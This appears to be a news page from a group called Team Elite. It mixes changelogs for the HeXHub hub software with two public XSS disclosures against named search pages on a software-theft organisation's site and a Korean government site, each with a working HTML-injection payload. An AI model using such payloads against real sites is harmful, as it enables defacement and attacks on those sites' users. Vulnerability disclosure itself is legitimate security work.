News
Work
Network
Forum
Gallery
Hublist
Tools
Statistics
About
Login
HeXHub 5.11
Changes in 5.11
corrected: the user search function that uses qsdchublist.com was removed because it is no longer available (thanks to Molotov and RoLex for reporting this problem)if other separators are used for hub's public addresses they are converted to commas (thanks to RoLex for reporting this problem)
added support for $HubInfo extensions that are supported by some hublists; currently, "category" and "encoding" are not used (requested by RoLex)
$SetIcon was moved before $HubInfo (requested by RoLex)
the license was changed to GPL
File information: HeXHub 5.11
Merry Christmas & Happy New Year!
At the close of another year, we gratefully take time to wish you and your family a happy holiday season and prosperous new year.Team Elite
Federation Against Software Theft - XSS
Vulnerable page: http://www.fastiis.org/search/PoC:
Code
"><h1>XSS found by Team Elite</h1>
Code
"><img src=http://te-home.net/images/logo.png>
You can include any XSS code in search box to reproduce the bug.
Note: This is a proof of concept and it doesn't reflect the views or interests of above websites.
Cyber Terror Response Center (Netan) - XSS
Vulnerable page: http://www.ctrc.go.kr/eng/search/search.jspPoC:
Code
"><h1>XSS found by Team Elite</h1>
Code
"><img src=http://te-home.net/images/logo.png>
You can include any XSS code in search box to reproduce the bug.
Note: This is a proof of concept and it doesn't reflect the views or interests of above websites.
HeXHub 5.10b
Changes in 5.10b
- corrected: the hub did not close the connection after verifying the referrer (thanks to RoLex for reporting this error)- all users who have the spam1 right, LAN users, users who have a localhost IP or hub's IP can send any referrer
- hubs that have a LAN or a localhost IP no longer verify referrers
File information: HeXHub 5.10b